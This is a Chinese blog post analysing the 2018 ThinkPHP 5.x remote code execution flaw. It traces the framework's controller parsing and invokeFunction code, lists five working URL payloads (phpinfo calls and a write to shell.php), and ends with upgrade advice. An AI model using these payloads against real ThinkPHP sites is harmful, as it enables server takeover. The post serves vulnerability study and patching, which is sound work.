php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析

引言

ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,因为其易用性、扩展性,已经成长为国内颇具影响力的WEB应用开发框架。

本次ThinkPHP5.x漏洞爆出时间大约是2018-9月,尚处于 0day 阶段时就已经被用于攻击多个虚拟货币类、金融类网站;直到2018-10-8号左右才被广泛传开,杀伤力太大,无条件执行代码,我的几个项目也紧急的升级,有惊无险。

ThinkPHP 5.0.x < 5.0.23

ThinkPHP 5.1.x < 5.1.31

漏洞分析我是第一时间在T00ls上看的,现在已经全网到处都是了。

漏洞分析

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。

漏洞点在Module.php,先调用的exec函数,初始化类时调用init()从$this->dispatch获取$controller和 $this->actionName的值然后进入exec函数。

public function init()

{

parent::init();

$result = $this->dispatch;

.........................

$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

$this->controller = $convert ? strtolower($controller) : $controller;

// 获取操作名

$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));

// 设置当前请求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller, 1))

->setAction($this->actionName);

return $this;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

publicfunctioninit()

{

parent::init();

$result=$this->dispatch;

.........................

$controller=strip_tags($result[1]?:$this->rule->getConfig('default_controller'));

$this->controller=$convert?strtolower($controller):$controller;

// 获取操作名

$this->actionName=strip_tags($result[2]?:$this->rule->getConfig('default_action'));

// 设置当前请求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller,1))

->setAction($this->actionName);

return$this;

}

先调用的exec函数,初始化类时调用init()从$this->dispatch获取$controller和 $this->actionName的值然后进入exec函数。

public function exec()

{

// 监听module_init

$this->app['hook']->listen('module_init');

try {

// 实例化控制器

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

} catch (ClassNotFoundException $e) {

throw new HttpException(404, 'controller not exists:' . $e->getClass());

}

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {

// 获取当前操作名

$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {

// 执行操作方法

$call = [$instance, $action];

// 严格获取当前操作方法名

$reflect = new ReflectionMethod($instance, $action);

$methodName = $reflect->getName();

$suffix = $this->rule->getConfig('action_suffix');

$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;

$this->request->setAction($actionName);

// 自动获取请求变量

$vars = $this->rule->getConfig('url_param_type')

? $this->request->route()

: $this->request->param();

} elseif (is_callable([$instance, '_empty'])) {

// 空操作

$call = [$instance, '_empty'];

$vars = [$this->actionName];

$reflect = new ReflectionMethod($instance, '_empty');

} else {

// 操作不存在

throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');

}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);

});

return $this->app['middleware']->dispatch($this->request, 'controller');

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

publicfunctionexec()

{

// 监听module_init

$this->app['hook']->listen('module_init');

try{

// 实例化控制器

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

}catch(ClassNotFoundException$e){

thrownewHttpException(404,'controller not exists:'.$e->getClass());

}

$this->app['middleware']->controller(function(Request$request,$next)use($instance){

// 获取当前操作名

$action=$this->actionName.$this->rule->getConfig('action_suffix');

if(is_callable([$instance,$action])){

// 执行操作方法

$call=[$instance,$action];

// 严格获取当前操作方法名

$reflect=newReflectionMethod($instance,$action);

$methodName=$reflect->getName();

$suffix=$this->rule->getConfig('action_suffix');

$actionName=$suffix?substr($methodName,0,-strlen($suffix)):$methodName;

$this->request->setAction($actionName);

// 自动获取请求变量

$vars=$this->rule->getConfig('url_param_type')

?$this->request->route()

:$this->request->param();

}elseif(is_callable([$instance,'_empty'])){

// 空操作

$call=[$instance,'_empty'];

$vars=[$this->actionName];

$reflect=newReflectionMethod($instance,'_empty');

}else{

// 操作不存在

thrownewHttpException(404,'method not exists:'.get_class($instance).'->'.$action.'()');

}

$this->app['hook']->listen('action_begin',$call);

$data=$this->app->invokeReflectMethod($instance,$reflect,$vars);

return$this->autoResponse($data);

});

return$this->app['middleware']->dispatch($this->request,'controller');

}

在$this->app->controller中将$this->controller进行实例化,跟进$this->app->controller。

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {

return $this->__get($class);

} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {

return $this->__get($emptyClass);

}

throw new ClassNotFoundException('class not exists:' . $class, $class);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

publicfunctioncontroller($name,$layer='controller',$appendSuffix=false,$empty='')

{

list($module,$class)=$this->parseModuleAndClass($name,$layer,$appendSuffix);

if(class_exists($class)){

return$this->__get($class);

}elseif($empty&&class_exists($emptyClass=$this->parseClass($module,$layer,$empty,$appendSuffix))){

return$this->__get($emptyClass);

}

thrownewClassNotFoundException('class not exists:'.$class,$class);

}

$this->parseModuleAndClass对传入的controller进行解析,返回解析出来的class以及module。可以看到如果$name以\开头就将name直接作为class,再返回到controller函数中将$class实例化成object对象,返回给exec函数中的$instance。

protected function parseModuleAndClass($name, $layer, $appendSuffix)

{

if (false !== strpos($name, '\\')) {

$class = $name;

$module = $this->request->module();

} else {

if (strpos($name, '/')) {

list($module, $name) = explode('/', $name, 2);

} else {

$module = $this->request->module();

}

$class = $this->parseClass($module, $layer, $name, $appendSuffix);

}

return [$module, $class];

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

protectedfunctionparseModuleAndClass($name,$layer,$appendSuffix)

{

if(false!==strpos($name,'\\')){

$class=$name;

$module=$this->request->module();

}else{

if(strpos($name,'/')){

list($module,$name)=explode('/',$name,2);

}else{

$module=$this->request->module();

}

$class=$this->parseClass($module,$layer,$name,$appendSuffix);

}

return[$module,$class];

}

最后就是调用invokeArgs进行反射调用类中的方法了。

有了任意调用类的方法,我们就只需要找一下可以从那些类进行触发,主要看看\thinkphp\library\think\App.php中的,invokeFunction。

ThinkPHP 5.0.x漏洞invokeFunction

public static function invokeFunction($function, $vars = [])

{

$reflect = new \ReflectionFunction($function);

$args = self::bindParams($reflect, $vars);

// 记录执行信息

self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);

}

1

2

3

4

5

6

7

8

9

10

publicstaticfunctioninvokeFunction($function,$vars=[])

{

$reflect=new\ReflectionFunction($function);

$args=self::bindParams($reflect,$vars);

// 记录执行信息

self::$debug&&Log::record('[ RUN ] '.$reflect->__toString(),'info');

return$reflect->invokeArgs($args);

}

ThinkPHP 5.1.x漏洞invokeFunction

public function invokeFunction($function, $vars = [])

{

try {

$reflect = new ReflectionFunction($function);

$args = $this->bindParams($reflect, $vars);

return call_user_func_array($function, $args);

} catch (ReflectionException $e) {

throw new Exception('function not exists: ' . $function . '()');

}

}

1

2

3

4

5

6

7

8

9

10

11

12

publicfunctioninvokeFunction($function,$vars=[])

{

try{

$reflect=newReflectionFunction($function);

$args=$this->bindParams($reflect,$vars);

returncall_user_func_array($function,$args);

}catch(ReflectionException$e){

thrownewException('function not exists: '.$function.'()');

}

}

都是对传入的$function以及$var进行动态调用,直接传入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1即可。

漏洞复现

payload如下:

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?> #在shell.php中写入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?> #linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

1

2

3

4

5

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?>#在shell.php中写入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?>#linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

直接访问即可任意代码执行。

漏洞防御

升级到Thinkphp最新版本,包括自动升级最新内核版本和手动升级方法,具体看官方:https://blog.thinkphp.cn/869075 。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP是一款流行的PHP开发框架,5.x版本也是比较常用的版本。虽然ThinkPHP是一个优秀的框架,但仍然存在一些潜在的安全漏洞,因此及时修复这些漏洞是非常重要的。修复ThinkPHP 5.x漏洞可以从以下几个方面入手: 1. 更新最新版本:保持框架的版本更新是修复漏洞的首要措施。ThinkPHP团队会不断发布更新版本来修复漏洞和增加新功能,因此及时更新到最新版本是必要的。可以在官方网站上查看并下载最新版本的ThinkPHP。 2. 安全审计:进行代码审计是另一个重要的步骤。检查应用程序的代码和配置文件,特别是控制器和模型中的用户输入和数据库查询,以确保没有任何可能导致代码执行或SQL注入等安全问题的漏洞。 3. 安全加固:可以通过加强安全措施来修复漏洞。例如,禁用不必要的文件或函数、密钥管理和访问控制等措施可以帮助提高系统的安全性。 4. 过滤用户输入:用户输入是最常见的安全漏洞来源之一。应该对用户输入数据进行严格的过滤和验证,确保输入的数据符合预期的格式和范围,并防止XSS和SQL注入等攻击。 5. 强化认证与权限管理:加强用户认证措施,使用强密码和加密技术来保护用户的登录信息。在系统中实施严格的权限管理,限制用户的访问权限,以避免恶意用户越权操作。 总之,修复ThinkPHP 5.x漏洞需要全面考虑各个方面的安全问题,并严格遵循最佳实践。及时更新版本、进行安全审计、加强安全措施、过滤用户输入、强化认证与权限管理等措施都是非常有效的方法。同时也建议开发者关注ThinkPHP官方的漏洞公告和安全建议,及时了解并修复已经公开的漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值